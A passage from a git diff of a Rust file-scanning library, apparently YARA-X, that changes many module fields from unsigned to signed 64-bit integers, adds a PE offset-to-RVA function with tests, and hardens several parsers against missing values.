macho.cs_superblob().parse(super_data) { #[cfg(feature = "logging")] - error!("Error parsing Mach-O file: {:?}", _err); + error!("Error parsing Mach-O file: {}", _err); // fail silently if it fails, data was not formatted // correctly but parsing should still proceed for // everything else @@ -421,7 +421,7 @@ impl<'a> MachO<'a> { && let Err(_err) = macho.parse_exports(export_data) { #[cfg(feature = "logging")] - error!("Error parsing Mach-O file: {:?}", _err); + error!("Error parsing Mach-O file: {}", _err); // fail silently if it fails, data was not formatted // correctly but parsing should still proceed for // everything else @@ -450,7 +450,7 @@ impl<'a> MachO<'a> { && let Err(_err) = macho.parse_imports(import_data, &mut seen) { #[cfg(feature = "logging")] - error!("Error parsing Mach-O file: {:?}", _err); + error!("Error parsing Mach-O file: {}", _err); // fail silently if it fails, data was not formatted // correctly but parsing should still proceed for // everything else @@ -465,7 +465,7 @@ impl<'a> MachO<'a> { && let Err(_err) = macho.parse_chained_fixups(fixup_data) { #[cfg(feature = "logging")] - error!("Error parsing Mach-O file: {:?}", _err); + error!("Error parsing Mach-O file: {}", _err); // fail silently if it fails, data was not formatted // correctly but parsing should still proceed for // everything else @@ -2016,8 +2016,8 @@ impl From> for protos::macho::Macho { result.set_flags(m.header.flags); result.set_sizeofcmds(m.header.sizeofcmds); result.reserved = m.header.reserved; - result.entry_point = m.entry_point_offset; - result.stack_size = m.stack_size; + result.entry_point = m.entry_point_offset.map(|v| v as i64); + result.stack_size = m.stack_size.map(|v| v as i64); m.source_version.clone_into(&mut result.source_version); result.dynamic_linker = m.dynamic_linker.map(|dl| dl.into()); @@ -2157,8 +2157,8 @@ impl From<&MachOFile<'_>> for protos::macho::File { result.set_flags(macho.header.flags); result.set_sizeofcmds(macho.header.sizeofcmds); result.reserved = macho.header.reserved; - result.entry_point = macho.entry_point_offset; - result.stack_size = macho.stack_size; + result.entry_point = macho.entry_point_offset.map(|v| v as i64); + result.stack_size = macho.stack_size.map(|v| v as i64); macho.source_version.clone_into(&mut result.source_version); result.dynamic_linker = macho.dynamic_linker.map(|dl| dl.into()); @@ -2281,8 +2281,8 @@ impl From<&FatArch> for protos::macho::FatArch { let mut result = protos::macho::FatArch::new(); result.set_cputype(arch.cputype); result.set_cpusubtype(arch.cpusubtype); - result.set_offset(arch.offset); - result.set_size(arch.size); + result.set_offset(arch.offset as i64); + result.set_size(arch.size as i64); result.set_align(arch.align); result.set_reserved(arch.reserved); result @@ -2293,10 +2293,10 @@ impl From<&Segment<'_>> for protos::macho::Segment { fn from(seg: &Segment<'_>) -> Self { let mut result = protos::macho::Segment::new(); result.set_segname(seg.segname.into()); - result.set_vmaddr(seg.vmaddr); - result.set_vmsize(seg.vmsize); - result.set_fileoff(seg.fileoff); - result.set_filesize(seg.filesize); + result.set_vmaddr(seg.vmaddr as i64); + result.set_vmsize(seg.vmsize as i64); + result.set_fileoff(seg.fileoff as i64); + result.set_filesize(seg.filesize as i64); result.set_maxprot(seg.maxprot); result.set_initprot(seg.initprot); result.set_nsects(seg.nsects); @@ -2311,8 +2311,8 @@ impl From<&Section<'_>> for protos::macho::Section { let mut result = protos::macho::Section::new(); result.set_segname(sec.segname.into()); result.set_sectname(sec.sectname.into()); - result.set_addr(sec.addr); - result.set_size(sec.size); + result.set_addr(sec.addr as i64); + result.set_size(sec.size as i64); result.set_offset(sec.offset); result.set_align(sec.align); result.set_reloff(sec.reloff); @@ -2363,7 +2363,7 @@ impl From<&Nlist> for protos::macho::Nlist { result.set_n_type(nlist.n_type as u32); result.set_n_sect(nlist.n_sect as u32); result.set_n_desc(nlist.n_desc as u32); - result.set_n_value(nlist.n_value); + result.set_n_value(nlist.n_value as i64); result } } diff --git a/lib/src/modules/magic/tests/mod.rs b/lib/src/modules/magic/tests/mod.rs index 844cdd6bd..5cdba56a1 100644 --- a/lib/src/modules/magic/tests/mod.rs +++ b/lib/src/modules/magic/tests/mod.rs @@ -2,9 +2,10 @@ use pretty_assertions::assert_eq; #[test] fn get_filetype() { - assert_eq!( - "RISC OS music file", - crate::modules::magic::get_type(b"Maestro\r").unwrap() + assert!( + crate::modules::magic::get_type(b"Maestro\r") + .unwrap() + .starts_with("RISC OS music file") ) } @@ -23,11 +24,11 @@ fn e2e_test() { import "magic" rule t { condition: - magic.type() == "RISC OS music file" and + magic.type() startswith "RISC OS music file" and magic.mime_type() == "text/plain" and // Call the functions twice, in order to exercise the caching // mechanism. - magic.type() == "RISC OS music file" and + magic.type() startswith "RISC OS music file" and magic.mime_type() == "text/plain" }"#, ) diff --git a/lib/src/modules/math.rs b/lib/src/modules/math.rs index 797dabe85..9780dd50b 100644 --- a/lib/src/modules/math.rs +++ b/lib/src/modules/math.rs @@ -40,8 +40,8 @@ fn max(_ctx: &ScanContext, a: i64, b: i64) -> i64 { /// Returns the absolute value of an integer. #[module_export] -fn abs(_ctx: &ScanContext, x: i64) -> i64 { - x.abs() +fn abs(_ctx: &ScanContext, x: i64) -> Option { + x.checked_abs() } /// Returns true if the given float is mostly within the [min, max] range. @@ -501,6 +501,17 @@ mod tests { rule test { condition: math.abs(1) == 1}"#, &[] ); + + rule_true!( + r#" + import "math" + rule test { + condition: + math.abs(-9223372036854775807) == 9223372036854775807 and + not defined math.abs(-9223372036854775807 - 1) + }"#, + &[] + ); } #[test] diff --git a/lib/src/modules/mod.rs b/lib/src/modules/mod.rs index 2b8fc3254..6a17d1ee4 100644 --- a/lib/src/modules/mod.rs +++ b/lib/src/modules/mod.rs @@ -266,7 +266,7 @@ pub mod mods { /// Data structures defined by the `olecf` module. /// - /// The main structure produced by the module is [`olecf:Olecf`]. The rest + /// The main structure produced by the module is [`olecf::Olecf`]. The rest /// of them are used by one or more fields in the main structure. /// pub use super::protos::olecf; @@ -296,6 +296,15 @@ pub mod mods { /// Data structure returned by the `pe` module. pub use super::protos::pe::PE; + /// Data structures defined by the `zip` module. + /// + /// The main structure produced by the module is [`zip::Zip`]. The rest + /// of them are used by one or more fields in the main structure. + /// + pub use super::protos::zip; + /// Data structure returned by the `zip` module. + pub use super::protos::zip::Zip; + /// A data structure containing the data returned by all modules. pub use super::protos::mods::Modules; @@ -391,6 +400,7 @@ pub mod mods { info.crx = protobuf::MessageField(invoke::(data)); info.dex = protobuf::MessageField(invoke::(data)); info.msi = protobuf::MessageField(invoke::(data)); + info.zip = protobuf::MessageField(invoke::(data)); info } @@ -467,13 +477,18 @@ pub mod mods { Self { inner } } + /// Returns true if this structure represents an enum. + pub fn is_enum(&self) -> bool { + self.inner.is_enum() + } + /// Returns an iterator over the fields defined in the structure. /// /// The fields are sorted by name. pub fn fields(&self) -> impl Iterator> + '_ { self.inner .fields() - .map(|(name, field)| Field::new(name, field)) + .map(|(name, field, meta)| Field::new(name, field, meta)) } } @@ -542,14 +557,16 @@ pub mod mods { pub struct Field<'a> { name: &'a str, struct_field: &'a types::StructField, + meta: &'a types::StructFieldMeta, } impl<'a> Field<'a> { fn new( name: &'a str, struct_field: &'a types::StructField, + meta: &'a types::StructFieldMeta, ) -> Self { - Self { name, struct_field } + Self { name, struct_field, meta } } /// Returns the name of the field. @@ -559,12 +576,17 @@ pub mod mods { /// Returns the type of the field. pub fn ty(&self) -> Type { - Type::from(&self.struct_field.type_value) + Type::from(self.struct_field.type_value()) + } + + /// Returns true if the field is a constant. + pub fn is_const(&self) -> bool { + self.struct_field.type_value().is_const() } /// Returns the documentation for the current field. pub fn doc(&self) -> Option<&str> { - self.struct_field.doc + self.meta.doc } } @@ -596,7 +618,14 @@ pub mod mods { match type_value { TypeValue::Bool { .. } => Type::Bool, TypeValue::Float { .. } => Type::Float, - TypeValue::Integer { .. } => Type::Integer, + TypeValue::Int8(_) + | TypeValue::Int16(_) + | TypeValue::Int32(_) + | TypeValue::Int64(_) + | TypeValue::Uint8(_) + | TypeValue::Uint16(_) + | TypeValue::Uint32(_) + | TypeValue::Uint64(_) => Type::Integer, TypeValue::String { .. } => Type::String, TypeValue::Regexp(_) => Type::Regexp, TypeValue::Struct(s) => { diff --git a/lib/src/modules/olecf/mod.rs b/lib/src/modules/olecf/mod.rs index 0d2153130..eb5b08d87 100644 --- a/lib/src/modules/olecf/mod.rs +++ b/lib/src/modules/olecf/mod.rs @@ -6,7 +6,7 @@ and MSI. This module specializes in parsing OLE CF files and extracting metadata about their structure and contents. Read more about the Compound File Binary File format here: -https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-cfb/53989ce4-7b05-4f8d-829b-d08d6148375b + */ use crate::errors::ModuleError; @@ -41,7 +41,7 @@ fn main<'a>( .map(|(name, entry)| { let mut s = Stream::new(); s.set_name(name.to_string()); - s.set_size(entry.size); + s.set_size(entry.size as i64); s.set_type(match entry.stream_type { parser::DirEntryType::Storage => StreamType::STORAGE, parser::DirEntryType::Stream => StreamType::STREAM, diff --git a/lib/src/modules/pe/mod.rs b/lib/src/modules/pe/mod.rs index 65872811d..8840326c3 100644 --- a/lib/src/modules/pe/mod.rs +++ b/lib/src/modules/pe/mod.rs @@ -82,6 +82,19 @@ fn rva_to_offset(ctx: &ScanContext, rva: i64) -> Option { Some(offset.into()) } +/// Convert a file offset to a relative virtual address (RVA). +#[module_export] +fn offset_to_rva(ctx: &ScanContext, offset: i64) -> Option { + let pe = ctx.module_output::()?; + let rva = rva2off::offset_to_rva( + offset.try_into().ok()?, + pe.sections.as_slice(), + pe.file_alignment?, + pe.section_alignment?, + )?; + Some(rva.into()) +} + /// Returns the PE checksum, as calculated by YARA. /// /// This is useful for comparing with the checksum appearing in the PE header @@ -146,21 +159,10 @@ fn calculate_checksum(ctx: &mut ScanContext) -> Option { map(u8, |v| v as u32), )); + let mut carry = false; + for v in &mut nom::combinator::iterator(data, data_parser) { - // TODO: use carrying_add when it becomes stable. - // This: - // sum = match sum.overflowing_add(v) { - // (s, true) => s + 1, - // (s, false) => s, - // } - // Becomes this: - // (sum, carry) = sum.carrying_add(v, carry); - // - // Where `carry` must be initialized to false outside of the loop. - sum = match sum.overflowing_add(v) { - (s, true) => s + 1, // carry - (s, false) => s, // no carry - } + (sum, carry) = sum.carrying_add(v, carry); } sum = match sum.overflowing_sub(pe.checksum?) { @@ -171,7 +173,7 @@ fn calculate_checksum(ctx: &mut ScanContext) -> Option { sum = (sum & 0xffff) + (sum >> 16); sum += sum >> 16; sum &= 0xffff; - sum += data.len() as u32; + sum = sum.wrapping_add(data.len() as u32); CHECKSUM_CACHE.with(|cache| { *cache.borrow_mut() = Some(sum.into()); @@ -206,9 +208,10 @@ fn section_index_offset(ctx: &ScanContext, offset: i64) -> Option { .iter() .find_position(|section| { match (section.raw_data_offset, section.raw_data_size) { - (Some(section_offset), Some(section_size)) => (section_offset - ..section_offset + section_size) - .contains(&offset), + (Some(section_offset), Some(section_size)) => { + offset >= section_offset + && offset - section_offset < section_size + } _ => false, } }) @@ -248,21 +251,25 @@ fn imphash(ctx: &mut ScanContext) -> Option>> { let mut first = true; for import in &pe.import_details { - let dll_name = trim_import_library_extension( - import.library_name.as_deref().unwrap(), - ); + let Some(dll_name) = import.library_name.as_deref() else { + continue; + }; + let dll_name = trim_import_library_extension(dll_name); for func in &import.functions { + let Some(func_name) = func.name.as_deref() else { + continue; + }; if !first { Digest::update(&mut md5_hash, ",".as_bytes()) } update_lowercase(&mut md5_hash, dll_name); Digest::update(&mut md5_hash, ".".as_bytes()); - update_lowercase(&mut md5_hash, func.name.as_deref().unwrap()); + update_lowercase(&mut md5_hash, func_name); first = false; } } - let digest = format!("{:x}", md5_hash.finalize()); + let digest = hex::encode(md5_hash.finalize()); IMPHASH_CACHE.with(|cache| { *cache.borrow_mut() = Some(digest.clone()); @@ -352,12 +359,10 @@ fn rich_version_impl( .iter() .filter_map(|t| { let toolid_matches = toolid - .map(|toolid| toolid == t.toolid.unwrap() as i64) - .unwrap_or(true); + .is_none_or(|id| t.toolid.is_some_and(|tid| id == tid as i64)); let version_matches = version - .map(|version| version == t.version.unwrap() as i64) - .unwrap_or(true); + .is_none_or(|ver| t.version.is_some_and(|v| ver == v as i64)); if toolid_matches && version_matches { t.times.map(|v| v as i64) @@ -698,13 +703,13 @@ fn valid_on( let not_before = signature .field_by_name("not_before") .unwrap() - .type_value + .type_value() .try_as_integer()?; let not_after = signature .field_by_name("not_after") .unwrap() - .type_value + .type_value() .try_as_integer()?; Some(timestamp >= not_before && timestamp <= not_after) diff --git a/lib/src/modules/pe/parser.rs b/lib/src/modules/pe/parser.rs index 6b343f63a..2b4d99f9b 100644 --- a/lib/src/modules/pe/parser.rs +++ b/lib/src/modules/pe/parser.rs @@ -274,6 +274,19 @@ impl<'a> PE<'a> { ) } + /// Convert a file offset to a relative virtual address (RVA). + /// + /// An RVA is an offset relative to the base address of the executable + /// program. + pub fn offset_to_rva(&self, offset: u32) -> Option { + rva2off::offset_to_rva( + offset, + self.sections.as_slice(), + self.optional_hdr.file_alignment, + self.optional_hdr.section_alignment, + ) + } + /// Given an RVA, returns a byte slice with the content of the PE that /// goes from that RVA to the end of the file. #[inline] @@ -2304,13 +2317,13 @@ impl From> for protos::pe::PE { result.set_dll_characteristics(pe.optional_hdr.dll_characteristics.into()); result.set_checksum(pe.optional_hdr.checksum); result.set_win32_version_value(pe.optional_hdr.win32_version); - result.set_size_of_stack_reserve(pe.optional_hdr.size_of_stack_reserve); - result.set_size_of_stack_commit(pe.optional_hdr.size_of_stack_commit); - result.set_size_of_heap_reserve(pe.optional_hdr.size_of_heap_reserve); - result.set_size_of_heap_commit(pe.optional_hdr.size_of_heap_commit); + result.set_size_of_stack_reserve(pe.optional_hdr.size_of_stack_reserve as i64); + result.set_size_of_stack_commit(pe.optional_hdr.size_of_stack_commit as i64); + result.set_size_of_heap_reserve(pe.optional_hdr.size_of_heap_reserve as i64); + result.set_size_of_heap_commit(pe.optional_hdr.size_of_heap_commit as i64); result.pdb_path = pe.get_pdb_path().map(|path| path.to_vec()); result.set_number_of_rva_and_sizes(pe.optional_hdr.number_of_rva_and_sizes); - result.set_image_base(pe.optional_hdr.image_base); + result.set_image_base(pe.optional_hdr.image_base as i64); result.set_size_of_image(pe.optional_hdr.size_of_image); result.set_size_of_headers(pe.optional_hdr.size_of_headers); result.set_size_of_initialized_data(pe.optional_hdr.size_of_initialized_data); @@ -2384,8 +2397,8 @@ impl From> for protos::pe::PE { } } - result.set_number_of_imported_functions(num_imported_funcs as u64); - result.set_number_of_delayed_imported_functions(num_delayed_imported_funcs as u64); + result.set_number_of_imported_functions(num_imported_funcs as i64); + result.set_number_of_delayed_imported_functions(num_delayed_imported_funcs as i64); if let Some(exports) = pe.get_exports() { result.dll_name = exports.dll_name.map(|name| name.to_owned()); @@ -2426,7 +2439,7 @@ impl From> for protos::pe::PE { } if let Some(res) = pe.get_resource_dir() { - result.resource_timestamp = Some(res.timestamp as u64); + result.resource_timestamp = Some(res.timestamp as i64); result.resource_version = MessageField::some(protos::pe::Version { major: Some(res.major_version.into()), minor: Some(res.minor_version.into()), @@ -2475,8 +2488,8 @@ impl From> for protos::pe::PE { result.overlay = MessageField::some(match (overlay_offset, overlay_size) { (Some(offset), Some(size)) if size > 0 => protos::pe::Overlay { - offset: Some(offset), - size: Some(size), + offset: Some(offset as i64), + size: Some(size as i64), ..Default::default() }, _ => protos::pe::Overlay { diff --git a/lib/src/modules/pe/rva2off.rs b/lib/src/modules/pe/rva2off.rs index d0989af91..11f9e588e 100644 --- a/lib/src/modules/pe/rva2off.rs +++ b/lib/src/modules/pe/rva2off.rs @@ -2,8 +2,8 @@ use std::cmp::{max, min}; /// Trait implemented by types that describe a PE section, specifically this /// trait is implemented by [`crate::modules::protos::pe::Section`] and -/// [`crate::modules::pe::parser::Section`]. Allows a generic implementation -/// of `rva_to_offset` that works for both types. +/// [`crate::modules::pe::parser::Section`]. Allows generic implementations +/// of `rva_to_offset` and `offset_to_rva` that work for both types. pub(crate) trait Section { fn virtual_address(&self) -> u32; fn virtual_size(&self) -> u32; @@ -11,6 +11,37 @@ pub(crate) trait Section { fn raw_data_size(&self) -> u32; } +fn align_section_offset( + mut section_offset: u32, + file_alignment: u32, + section_alignment: u32, +) -> u32 { + // According to the PE specification, file_alignment should + // be a power of 2 between 512 and 64KB, inclusive. And the + // default value is 512 (0x200). But PE files with lower values + // (like 64, 32, and even 1) do exist in the wild and are + // correctly handled by the Windows loader. For files with + // very small values of file_alignment see: + // http://www.phreedom.org/research/tinype/ + // + // Also, according to Ero Carreras's pefile.py, file alignments + // greater than 512, are actually ignored and 512 is used + // instead. + let file_alignment = min(file_alignment, 0x200); + + // Round down section_offset to a multiple of file_alignment. + if let Some(rem) = section_offset.checked_rem(file_alignment) { + section_offset -= rem; + } + + if section_alignment >= 0x1000 { + // Round section_offset down to sector size (512 bytes). + section_offset = section_offset.saturating_sub(section_offset % 0x200); + } + + section_offset +} + /// Convert a relative virtual address (RVA) to a file offset. /// /// An RVA is an offset relative to the base address of the executable @@ -55,32 +86,12 @@ pub(crate) fn rva_to_offset( // that are higher than the current one. if section_rva <= s.virtual_address() && (start..end).contains(&rva) { section_rva = s.virtual_address(); - section_offset = s.raw_data_offset(); + section_offset = align_section_offset( + s.raw_data_offset(), + file_alignment, + section_alignment, + ); section_raw_size = s.raw_data_size(); - - // According to the PE specification, file_alignment should - // be a power of 2 between 512 and 64KB, inclusive. And the - // default value is 512 (0x200). But PE files with lower values - // (like 64, 32, and even 1) do exist in the wild and are - // correctly handled by the Windows loader. For files with - // very small values of file_alignment see: - // http://www.phreedom.org/research/tinype/ - // - // Also, according to Ero Carreras's pefile.py, file alignments - // greater than 512, are actually ignored and 512 is used - // instead. - let file_alignment = min(file_alignment, 0x200); - - // Round down section_offset to a multiple of file_alignment. - if let Some(rem) = section_offset.checked_rem(file_alignment) { - section_offset -= rem; - } - - if section_alignment >= 0x1000 { - // Round section_offset down to sector size (512 bytes). - section_offset = - section_offset.saturating_sub(section_offset % 0x200); - } } } @@ -103,20 +114,88 @@ pub(crate) fn rva_to_offset( Some(result) } +/// Convert a file offset to a relative virtual address (RVA). +/// +/// An RVA is an offset relative to the base address of the executable +/// program. +pub(crate) fn offset_to_rva( + offset: u32, + sections: &[impl Section], + file_alignment: u32, + section_alignment: u32, +) -> Option { + // Find the offset for the section with the lowest offset. Sections with + // raw_data_offset == 0 (such as .bss sections containing uninitialized + // data) do not take space in the file and are ignored. + let lowest_section_offset = sections + .iter() + .filter(|section| section.raw_data_offset() > 0) + .map(|section| { + align_section_offset( + section.raw_data_offset(), + file_alignment, + section_alignment, + ) + }) + .min(); + + // The target offset is lower than the offset of all sections, in such + // cases the offset is directly mapped to an RVA. + if matches!(lowest_section_offset, Some(x) if offset < x) { + return Some(offset); + } + + let mut section_rva = 0; + let mut section_offset = 0; + let mut section_raw_size = 0; + + // Find the section that contains the target offset. If there are multiple + // sections that may contain the offset, the last one is used. + for s in sections.iter() { + if s.raw_data_offset() == 0 { + continue; + } + + let start = align_section_offset( + s.raw_data_offset(), + file_alignment, + section_alignment, + ); + let end = start.saturating_add(s.raw_data_size()); + + // Check if the target offset is within the boundaries of this + // section, but only update `section_offset` with values + // that are higher than the current one. + if section_offset <= start && (start..end).contains(&offset) { + section_rva = s.virtual_address(); + section_offset = start; + section_raw_size = s.raw_data_size(); + } + } + + if offset.saturating_sub(section_offset) >= section_raw_size { + return None; + } + + let result = section_rva.saturating_add(offset - section_offset); + + Some(result) +} + impl Section for crate::modules::protos::pe::Section { fn virtual_address(&self) -> u32 { - self.virtual_address.unwrap() + self.virtual_address.unwrap_or_default() } fn virtual_size(&self) -> u32 { - self.virtual_size.unwrap() + self.virtual_size.unwrap_or_default() } fn raw_data_offset(&self) -> u32 { - self.raw_data_offset.unwrap() + self.raw_data_offset.unwrap_or_default() } fn raw_data_size(&self) -> u32 { - self.raw_data_size.unwrap() + self.raw_data_size.unwrap_or_default() } } diff --git a/lib/src/modules/pe/tests/mod.rs b/lib/src/modules/pe/tests/mod.rs index d4f1066a0..47bd83b7a 100644 --- a/lib/src/modules/pe/tests/mod.rs +++ b/lib/src/modules/pe/tests/mod.rs @@ -168,6 +168,28 @@ fn imports() { ); } +#[test] +fn signed_fields() { + // This file has no exports. Fields like `number_of_exports` are signed + // integers, like in YARA, so subtracting 1 from them produces -1. + let pe = create_binary_from_zipped_ihex( + "src/modules/pe/tests/testdata/2775d97f8bdb3311ace960a42eee35dbec84b9d71a6abbacb26c14e83f5897e4.in.zip", + ); + + rule_true!( + r#" + import "pe" + rule test { + condition: + pe.number_of_exports - 1 == -1 and + pe.number_of_exports - 1 < 10 and + not for any i in (0..pe.number_of_exports - 1) : (true) + } + "#, + &pe + ); +} + #[test] fn import_rva() { let pe = create_binary_from_zipped_ihex( @@ -488,6 +510,29 @@ fn rva_to_offset() { ); } +#[test] +fn offset_to_rva() { + let pe = create_binary_from_zipped_ihex( + "src/modules/pe/tests/testdata/c6f9709feccf42f2d9e22057182fe185f177fb9daaa2649b4669a24f2ee7e3ba.in.zip", + ); + + rule_true!( + r#" + import "pe" + rule test { + condition: + pe.offset_to_rva(0) == 0 and + pe.offset_to_rva(512) == 512 and + pe.offset_to_rva(1024) == 4096 and + pe.offset_to_rva(17409) == 20481 and + not defined pe.offset_to_rva(-1) and + not defined pe.offset_to_rva(0x40000) + } + "#, + &pe + ); +} + #[test] fn valid_on() { let pe = create_binary_from_zipped_ihex( diff --git a/lib/src/modules/protos/dotnet.proto b/lib/src/modules/protos/dotnet.proto index e1266f3fd..0ee8a776e 100644 --- a/lib/src/modules/protos/dotnet.proto +++ b/lib/src/modules/protos/dotnet.proto @@ -19,66 +19,66 @@ message Dotnet { optional string version = 3; // Total count of embedded streams inside the file. - optional uint64 number_of_streams = 4 [(yara.field_options).deprecation_notice = { + optional int64 number_of_streams = 4 [(yara.field_options).deprecation_notice = { text: "this field is deprecated", help: "use `dotnet.streams.len()` instead", replacement: "streams.len()" }]; // Count of unique GUIDs defined within the module. - optional uint64 number_of_guids = 5 [(yara.field_options).deprecation_notice = { + optional int64 number_of_guids = 5 [(yara.field_options).deprecation_notice = { text: "this field is deprecated", help: "use `dotnet.guids.len()` instead", replacement: "guids.len()" }]; // Total number of individual resources embedded. - optional uint64 number_of_resources = 6 [(yara.field_options).deprecation_notice = { + optional int64 number_of_resources = 6 [(yara.field_options).deprecation_notice = { text: "this field is deprecated", help: "use `dotnet.resources.len()` instead", replacement: "resources.len()" }]; // Count of generic parameters defined inside the assembly. - optional uint64 number_of_generic_parameters = 7; + optional int64 number_of_generic_parameters = 7; // Total count of classes extracted from the executable. - optional uint64 number_of_classes = 10 [(yara.field_options).deprecation_notice = { + optional int64 number_of_classes = 10 [(yara.field_options).deprecation_notice = { text: "this field is deprecated", help: "use `dotnet.classes.len()` instead", replacement: "classes.len()" }]; // Number of external assembly references declared. - optional uint64 number_of_assembly_refs = 11 [(yara.field_options).deprecation_notice = { + optional int64 number_of_assembly_refs = 11 [(yara.field_options).deprecation_notice = { text: "this field is deprecated", help: "use `dotnet.assembly_refs.len()` instead", replacement: "assembly_refs.len()" }]; // Number of external module references defined. - optional uint64 number_of_modulerefs = 12 [(yara.field_options).deprecation_notice = { + optional int64 number_of_modulerefs = 12 [(yara.field_options).deprecation_notice = { text: "this field is deprecated", help: "use `dotnet.modulerefs.len()` instead", replacement: "modulerefs.len()" }]; // Count of strings defined inside the user string heap. - optional uint64 number_of_user_strings = 13 [(yara.field_options).deprecation_notice = { + optional int64 number_of_user_strings = 13 [(yara.field_options).deprecation_notice = { text: "this field is deprecated", help: "use `dotnet.user_strings.len()` instead", replacement: "user_strings.len()" }]; // Number of constant elements stored inside the assembly. - optional uint64 number_of_constants = 14 [(yara.field_options).deprecation_notice = { + optional int64 number_of_constants = 14 [(yara.field_options).deprecation_notice = { text: "this field is deprecated", help: "use `dotnet.constants.len()` instead", replacement: "constants.len()" }]; // Total count of structured field offsets available. - optional uint64 number_of_field_offsets = 15 [(yara.field_options).deprecation_notice = { + optional int64 number_of_field_offsets = 15 [(yara.field_options).deprecation_notice = { text: "this field is deprecated", help: "use `dotnet.field_offsets.len()` instead", replacement: "field_offsets.len()" @@ -173,21 +173,21 @@ message Class { required bool sealed = 7; // Count of inherited base types declared by the class. - required uint64 number_of_base_types = 8 [(yara.field_options).deprecation_notice = { + required int64 number_of_base_types = 8 [(yara.field_options).deprecation_notice = { text: "this field is deprecated", help: "use `base_types.len()` instead", replacement: "base_types.len()" }]; // Total count of generic parameters specified. - required uint64 number_of_generic_parameters = 9 [(yara.field_options).deprecation_notice = { + required int64 number_of_generic_parameters = 9 [(yara.field_options).deprecation_notice = { text: "this field is deprecated", help: "use `generic_parameters.len()` instead", replacement: "generic_parameters.len()" }]; // Number of methods explicitly defined inside the class. - required uint64 number_of_methods = 10 [(yara.field_options).deprecation_notice = { + required int64 number_of_methods = 10 [(yara.field_options).deprecation_notice = { text: "this field is deprecated", help: "use `methods.len()` instead", replacement: "methods.len()" @@ -218,14 +218,14 @@ message Method { optional string return_type = 7; // Count of generic parameters explicitly defined for the method. - required uint64 number_of_generic_parameters = 8 [(yara.field_options).deprecation_notice = { + required int64 number_of_generic_parameters = 8 [(yara.field_options).deprecation_notice = { text: "this field is deprecated", help: "use `generic_parameters.len()` instead", replacement: "generic_parameters.len()" }]; // Number of individual parameters passed to the method. - required uint64 number_of_parameters = 9 [(yara.field_options).deprecation_notice = { + required int64 number_of_parameters = 9 [(yara.field_options).deprecation_notice = { text: "this field is deprecated", help: "use `parameters.len()` instead", replacement: "parameters.len()" diff --git a/lib/src/modules/protos/elf.proto b/lib/src/modules/protos/elf.proto index 36162aa97..96f2ec911 100644 --- a/lib/src/modules/protos/elf.proto +++ b/lib/src/modules/protos/elf.proto @@ -18,36 +18,36 @@ message ELF { optional OsAbi osabi = 18; // Entry point address of the executable. - optional uint64 entry_point = 3; + optional int64 entry_point = 3; // File offset pointing to the section header table. - optional uint64 sh_offset = 4; + optional int64 sh_offset = 4; // Size in bytes of a single section header entry. optional uint32 sh_entry_size = 5; // File offset pointing to the program header table. - optional uint64 ph_offset = 6; + optional int64 ph_offset = 6; // Size in bytes of a single program header entry. optional uint32 ph_entry_size = 7; // Number of section header entries in the table. - optional uint64 number_of_sections = 8 [(yara.field_options).deprecation_notice = { + optional int64 number_of_sections = 8 [(yara.field_options).deprecation_notice = { text: "this field is deprecated", help: "use `elf.sections.len()` instead", replacement: "sections.len()" }]; // Number of program header entries in the table. - optional uint64 number_of_segments = 9 [(yara.field_options).deprecation_notice = { + optional int64 number_of_segments = 9 [(yara.field_options).deprecation_notice = { text: "this field is deprecated", help: "use `elf.segments.len()` instead", replacement: "segments.len()" }]; // Count of symbols stored in the static symbol table. - optional uint64 symtab_entries = 10; + optional int64 symtab_entries = 10; // Count of symbols stored in the dynamic symbol table. - optional uint64 dynsym_entries = 11; + optional int64 dynsym_entries = 11; // Count of entries present in the dynamic linking section. - optional uint64 dynamic_section_entries = 12; + optional int64 dynamic_section_entries = 12; // Array of sections described by the section header table. repeated Section sections = 13; @@ -85,11 +85,23 @@ enum Machine { EM_MIPS = 8; // 0x0008 MIPS I Architecture EM_S370 = 9; // 0x0009 IBM S370 EM_MIPS_RS3_LE = 10; // 0x000A MIPS RS3000 Little-endian + EM_PARISC = 15; // 0x000F HP PA-RISC + EM_SPARC32PLUS = 18; // 0x0012 Sun's "v8plus" EM_PPC = 20; // 0x0014 PowerPC EM_PPC64 = 21; // 0x0015 64-bit PowerPC + EM_S390 = 22; // 0x0016 IBM S/390 + EM_MCORE = 39; // 0x0027 Motorola M*Core. + // EM_RCE was the original name for EM_MCORE and is still what some + // toolchains emit. Same value, exposed so either name works in a rule. + EM_RCE = 0x10027 [(yara.enum_value).i64 = 39]; EM_ARM = 40; // 0x0028 ARM + EM_SH = 42; // 0x002A Renesas (formerly Hitachi) SuperH + EM_SPARCV9 = 43; // 0x002B 64-bit SPARC v9 EM_X86_64 = 62; // 0x003E AMD/Intel x86_64 + EM_ARC_COMPACT = 93; // 0x005D ARC International ARCompact EM_AARCH64 = 183; // 0x00B7 64-bit ARM + EM_BPF = 247; // 0x00F7 Linux BPF in-kernel virtual machine + EM_LOONGARCH = 258; // 0x0102 LoongArch } enum OsAbi { @@ -121,13 +133,13 @@ message Section { // Section type classification (e.g., PROGBITS, SYMTAB). required SectionType type = 1; // Section attributes represented as bitwise flags. - required uint64 flags = 2; + required int64 flags = 2; // Virtual address where the section resides in memory. - required uint64 address = 3; + required int64 address = 3; // Size in bytes of the section data. - required uint64 size = 4; + required int64 size = 4; // Physical file offset pointing to the section contents. - required uint64 offset = 5; + required int64 offset = 5; // Name of the section as a string. optional string name = 6; } @@ -156,17 +168,17 @@ message Segment { // Access permissions and flags of the segment. required uint32 flags = 2 [(yara.field_options).fmt = "flags:SegmentFlags"]; // Physical file offset pointing to the beginning of the segment. - required uint64 offset = 3; + required int64 offset = 3; // Virtual address where the segment is loaded in memory. - required uint64 virtual_address = 4; + required int64 virtual_address = 4; // Physical address of the segment, used on systems without virtual memory. - required uint64 physical_address = 5; + required int64 physical_address = 5; // Size of the segment inside the file. - required uint64 file_size = 6; + required int64 file_size = 6; // Size of the segment when mapped into memory. - required uint64 memory_size = 7; + required int64 memory_size = 7; // Required alignment boundary of the segment in memory and on disk. - required uint64 alignment = 8; + required int64 alignment = 8; } enum SegmentType { @@ -196,9 +208,9 @@ message Sym { // Name of the symbol as a string. optional string name = 1; // Value associated with the symbol (typically an address or offset). - required uint64 value = 2; + required int64 value = 2; // Size in bytes of the object referenced by the symbol. - required uint64 size = 3; + required int64 size = 3; // Symbol type classification (e.g., FUNC, OBJECT). required SymType type = 4; // Binding attributes of the symbol (e.g., GLOBAL, LOCAL). @@ -239,7 +251,7 @@ message Dyn { // Classification type of the dynamic entry (e.g., NEEDED, STRTAB). optional DynType type = 1; 